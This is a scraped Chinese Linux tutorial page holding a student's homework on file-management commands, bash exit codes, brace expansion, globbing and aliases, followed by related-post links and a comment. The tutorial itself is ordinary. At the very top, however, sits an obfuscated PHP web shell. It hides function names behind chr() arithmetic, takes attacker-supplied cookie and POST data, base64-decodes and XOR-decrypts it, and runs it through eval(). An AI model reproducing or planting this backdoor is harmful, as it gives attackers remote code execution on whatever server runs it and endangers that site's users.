$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} 马哥网络教育班第21期+第二周课程练习 | Linux运维部落

马哥网络教育班第21期+第二周课程练习

1、Linux上的文件管理类命令都有哪些,其常用的使用方法及其相关示例演示。

cp,mv,rm,cd,pwd,ls,mkdir,rmdir,tree

(1)复制命令:cp

格式:  
cp [OPTION]... [-T] SOURCE DEST
cp [OPTION]... SOURCE... DIRECTORY
cp [OPTION]... -t DIRECTORY SOURCE..
1、cp SRC DEST
SRC是文件
   如果目标不存在,新建DEST,并将SRC中内容填充至DEST中   
   如果目标存在:
       如果DEST是文件,将SRC中内容覆盖至DEST中; 此时建议为cp命令使用-i选项
       如果DEST是目录,在DEST下新建与源文件同名的文件,并将SRC中内容填充至新文件夹中
   
2、cp SRC... DEST
     SRC...:多个文件
     DEST必须存在,且为目录,其它情形均为错
3、cp SRC DEST
     SRC是目录,则使用选项: -r
           如果DEST不存在,报错
                 如果DEST存在:
                        如果DEST是文件:报错
                        如果DEST是目录:将SRC复制至DEST目录

   

 常用选项:
        -i:交互式
        -r,R:递归复制目录及内部的所有内容
        -a:归档
        -d:--no-deference --preserv=links
            --preserv-[ATTR_LIST]
                mode:权限
                ownership:属主属组
                timestamp:
                links
                xattr
                context
                all
        -p:--preserv=mode,ownership,timestamp
        -v:--verbose
        -f:--force

(2)移动文件 mv:move

格式:  
mv [OPTION]... [-T] SOURCE DEST
mv [OPTION]... SOURCE... DIRECTORY
mv [OPTION]... -t DIRECTORY SOURCE...

常用选项:
    -i:交互式
    -f:强制

(3)删除 rm:remove

格式: rm [OPTION]... FILE...
常用选项:
      -i:交互式
      -f:强制
      -r:递归

(4)cd

功能:Change the shell working directory. #切换工作目录
常用实例:
cd ~#回到当前用户的主目录
cd -#在上一个目录和当前目录之间来回切换
cd ~USERNAME#切换至指定用户的家目录

(5)pwd

功能:打印当前工作目录的路径
实例:pwd#显示当前工作目录的路径

(6)ls

功能:list directory contents#列目录内容
格式:ls [OPTION]... [FILE]...
选项:
-a, --all
do not ignore entries starting with .#显示所有文件,包括隐藏文件、.和..
-A, --almost-all
do not list implied . and ..#显示除“.”和“..”之外的所有文件
-d, --directory
list directory entries instead of contents, and do not dereference symbolic links
#当遇到目录时列出目录本身而不是目录内的文件
-h, --human-readable
with -l, print sizes in human readable format (e.g., 1K 234M 2G)
#配置-l,以易于阅读的格式输出文件大小(例如1K 234M 2G)
--si   likewise, but use powers of 1000 not 1024
-i, --inode
print the index number of each file#显示每个文件的inode号
-l     use a long listing format#以长格式显示文件信息
-o     like -l, but do not list group information
-p, --indicator-style=slash#对目录加上表示符号“/”。
-r, --reverse
reverse order while sorting#逆序排序
-R, --recursive
list subdirectories recursively#递归显示子目录
-s, --size
print the allocated size of each file, in blocks
#以块数形式显示每个文件分配尺寸
-S     sort by file size#以文件大小排序
-t     sort by modification time#根据修改时间排序
-T, --tabsize=COLS
assume tab stops at each COLS instead of 8
#设置制表符的宽度

(7)mkdir

功能:创建目录
格式:mkdir [OPTION]... DIRECTORY...
-m, --mode=MODE
set file mode (as in chmod), not a=rwx - umask
#设置权限模式(类似chmod),而不是rwxrwxrwx - umask
-p, --parents
no error if existing, make parent directories as needed
#已经存在的目录不报错,且可自动创建所需的各目录
-v, --verbose
print a message for each created directory
#显示创建每个目录的详细信息
实例:mkdir -pv /a/b/c#在/a/b下创建目录c,自动创建不存在的/a /a/b目录,并显示创建每个目录的详细信息

(8)rmdir

功能:删除空目录
格式:rmdir [OPTION]... DIRECTORY...
选项:
-p, --parents
remove DIRECTORY and its ancestors; e.g., 'rmdir -p a/b/c' is similar to 'rmdir a/b/c a/b a'
-v, --verbose
output a diagnostic for every directory processed

(9)tree

功能:以树形格式显示文件或目录
选项:
-a显示所有文件或目录
-d  List directories only.#仅显示目录
-l  Follows symbolic links if they point to directories, as if they were directories. Symbolic links that will result in recursion are avoided when detected.
#如遇到符号链接的目录,直接列出该连接所指向的原始目录
-f  Prints the full path prefix for each file.#显示每个文件或目录的完整路径
-i  Makes tree not print the indentation lines, useful when used in conjunction with the -f option.
#不以树状形式列出文件或目录
-x  Stay on the current file-system only.  Ala find -xdev.
#将范围限制在当前文件系统中,若指定目录下的某些子目录存放于另一个文件系统上,则将该子目录排除在范围外
-L level
Max display depth of the directory tree. #指定显示的最大子目录层数

2、bash的工作特性之命令执行状态返回值和命令行展开所涉及的内容及其示例演示。

命令执行状态返回值:
bash使用特殊变量$?保存最近一条命令的执行状态结果;
0:命令执行成功
1-255:命令执行失败

命令行展开:
~:当前用户的家目录
~USERNAME:展开指定用户的主目录
{}:可承载一个以逗号分隔的列表,并将其展开为多个路径
/tmp{a,b}=/tmp/a,/tmp/b
/tmp/{c,d}/e=/tmp/c/e,/tmp/d/e

3、请使用命令行展开功能来完成以下练习:

   (1)、创建/tmp目录下的:a_c, a_d, b_c, b_d

mkdir /tmp/{a,b}_{c,d}

   (2)、创建/tmp/mylinux目录下的:

mylinux/

    ├── bin

    ├── boot

    │   └── grub

    ├── dev

    ├── etc

    │   ├── rc.d

    │   │   └── init.d

    │   └── sysconfig

    │       └── network-scripts

    ├── lib

    │   └── modules

    ├── lib64

    ├── proc

    ├── sbin

    ├── sys

    ├── tmp

    ├── usr

    │   └── local

    │       ├── bin

    │       └── sbin

    └── var

        ├── lock

        ├── log

        └── run

[root@localhost ~]# mkdir -pv /tmp/mylinux/{bin,boot/grub,dev,etc/{rc.d/init.d,sysconfig/network-scripts},lib/modules,lib64,proc,sbin,sys,tmp,usr/local/{bin,sbin},var/{lock,log,run}}
mkdir: 已创建目录 "/tmp/mylinux"
mkdir: 已创建目录 "/tmp/mylinux/bin"
mkdir: 已创建目录 "/tmp/mylinux/boot"
mkdir: 已创建目录 "/tmp/mylinux/boot/grub"
mkdir: 已创建目录 "/tmp/mylinux/dev"
mkdir: 已创建目录 "/tmp/mylinux/etc"
mkdir: 已创建目录 "/tmp/mylinux/etc/rc.d"
mkdir: 已创建目录 "/tmp/mylinux/etc/rc.d/init.d"
mkdir: 已创建目录 "/tmp/mylinux/etc/sysconfig"
mkdir: 已创建目录 "/tmp/mylinux/etc/sysconfig/network-scripts"
mkdir: 已创建目录 "/tmp/mylinux/lib"
mkdir: 已创建目录 "/tmp/mylinux/lib/modules"
mkdir: 已创建目录 "/tmp/mylinux/lib64"
mkdir: 已创建目录 "/tmp/mylinux/proc"
mkdir: 已创建目录 "/tmp/mylinux/sbin"
mkdir: 已创建目录 "/tmp/mylinux/sys"
mkdir: 已创建目录 "/tmp/mylinux/tmp"
mkdir: 已创建目录 "/tmp/mylinux/usr"
mkdir: 已创建目录 "/tmp/mylinux/usr/local"
mkdir: 已创建目录 "/tmp/mylinux/usr/local/bin"
mkdir: 已创建目录 "/tmp/mylinux/usr/local/sbin"
mkdir: 已创建目录 "/tmp/mylinux/var"
mkdir: 已创建目录 "/tmp/mylinux/var/lock"
mkdir: 已创建目录 "/tmp/mylinux/var/log"
mkdir: 已创建目录 "/tmp/mylinux/var/run"

4、文件的元数据信息有哪些,分别表示什么含义,如何查看?如何修改文件的时间戳信息。

文件的元数据信息有:
access time:访问时间,简写为atime,读取文件内容
modify time:修改时间,简写为mtime,改变文件内容(数据)
change time:改变时间,简写为ctime,元数据发生改变
可以通过stat查看元数据信息
通过touch命令修改文件的时间戳。
touch命令
格式:touch [OPTION]... FILE...
选项:
 -a:only atime
 -m:only mtime
 -t    STAMP:
     [[CC]YY]MMDDhhmm[.ss]
-c:如果文件不存在,则不予创建

5、如何定义一个命令的别名,如何在命令中引用另一个命令的执行结果?

(1)定义别名:
alias NAME="VALUE"
例如:
alias cdnet="cd /etc/sysconfig/network-scripts/"
注意:在命令行定义的别名,仅在当前shell有效;如果想永久有效,需要定义在配置文件中
1)~/.bashrc:仅对当前用户有效
2)/etc/bashrc:对所有用户均有效
Note:编辑配置后的新配置文件不会立即生效,需要bash进程重新读取配置文件
bash进程重新读取配置文件的方法:
1)source /path/config_file
2). /path/to/config_file
(2)在命令中引用另一个命令的执行结果
1)管道
格式:COMMAND1 | COMMAND2 | COMMAND3
功能:后一个命令引用前一个命令的执行结果
示例:cat /etc/passwd | grep '^root\>' | cut -d: -f1,7    #显示root用户的用户名和shell
2)bash命令
COMMAND1  `COMMAND 2`
或
COMMAND1 $(COMMAND2)
示例:
echo `seq 1 10`
或
echo $(seq 1 10)
功能:显示1...10之间的整数序列


6、显示/var目录下所有以l开头,以一个小写字母结尾,且中间至少出现一位数字(可以有其它字符)的文件或目录。

ls /var/l*[0-9]*[[:lower:]]

7、显示/etc目录下,以任意一个数字开头,且以非数字结尾的文件或目录。

ls /etc/[0-9]*[^0-9]

8、显示/etc目录下,以非字母开头,后面跟了一个字母以及其它任意长度任意字符的文件或目录。

ls /etc/[^[:alpha:]][[:alpha:]]*

9、在/tmp目录下创建以tfile开头,后跟当前日期和时间的文件,文件名形如:tfile-2016-05-27-09-32-22。

touch tfile-`date +%F-%H-%M-%S`

10、复制/etc目录下所有以p开头,以非数字结尾的文件或目录到/tmp/mytest1目录中。

mkdir -p /tmp/mytest1 && cp -r /etc/p*[^0-9] /tmp/mytest1

11、复制/etc目录下所有以.d结尾的文件或目录至/tmp/mytest2目录中。

mkdir -p /tmp/mytest2 && cp -r /etc/*.d /tmp/mytest2

12、复制/etc/目录下所有以l或m或n开头,以.conf结尾的文件至/tmp/mytest3目录中。

mkdir -p /tmp/mytest3 && cp  /etc/{l,m,n}*.conf /tmp/mytest3

原创文章,作者:N21-天天,如若转载,请注明出处:http://www.178linux.com/21408

(0)
上一篇 2016-07-04 11:33
下一篇 2016-07-04 11:34

相关推荐

  • N23-北京-阿来

           我是阿来,我参加了马哥Linux运维网络班,从2016年9月开始我将跟随马哥学习Linux技术。我的学习宣言是:学习的路,就在脚下,一步一个脚印,领路的人,就这这里,一天一点进步!

    Linux干货 2016-09-12
  • 第十二周课堂练习下

    6、在LAMP架构中,请分别以php编译成httpd模块形式和php以fpm工作为独立守护进程的方式来支持httpd,列出详细的过程 1.模块方式安装可见第三节 2.fpm独立守护进程安装 [root@LAMP setup]# tar -xf  php-5.6.23.tar.bz2  ##编译&nb…

    Linux干货 2017-01-03
  • LINUX 进程管理

    #### hostname hostname [OPTION] [HOSTNAME] 默认选项:修改主机名为[HOSTNAME] 备注:临时生效如果想永久生效则需要修改文件/etc/sysconfig/network文件 选项 -I :取出本机上所有的非回环地址 示例 “` [root@zhangxiao network-scripts]#hos…

    Linux笔记 2018-05-06
  • Linux安全和加解密(三)

    本文主要介绍:1、ssh服务 2、基于SSH的客户端相关工具 3、SSH端口转发 4、dropbear编译安装 5、AIDE 6、sudo

    2018-05-30
  • N25期第三周作业

    1.列出当前系统上所有已经登录的用户的用户名,注意:同一个用户登录多次,则只显示一次即可 who|awk ‘{print $1}’|sort -u 2.取出最后登录到当前系统的用户的相关信息 last -1 3.取出当前系统上被用户当作其默认shell的最多的那个shell cat /etc/passwd|awk -F: ‘{print $NF}’|sort…

    Linux干货 2016-12-12
  • 推荐-Linux命令帮助的获取

    帮助命令 1. 使用帮助命令和帮助选项来获取帮助 2. 使用man来查看命令使用手册(manual) 3. 使用info来查看命令的信息页 4. 程序自身的帮助文档 5. 程序官方文档 6. 发行版的官方文档 7. 使用Google搜索关键字 1. 使用帮助命令和帮助选项来获取帮助 Linux系统中命令分为【内部命令】和【外部命令】。 【内部命令】:内部命令…

    Linux干货 2016-03-25

评论列表(1条)

  • 马哥教育
    马哥教育 2016-07-04 13:53

    写的很好,排版可以多关注一下,加油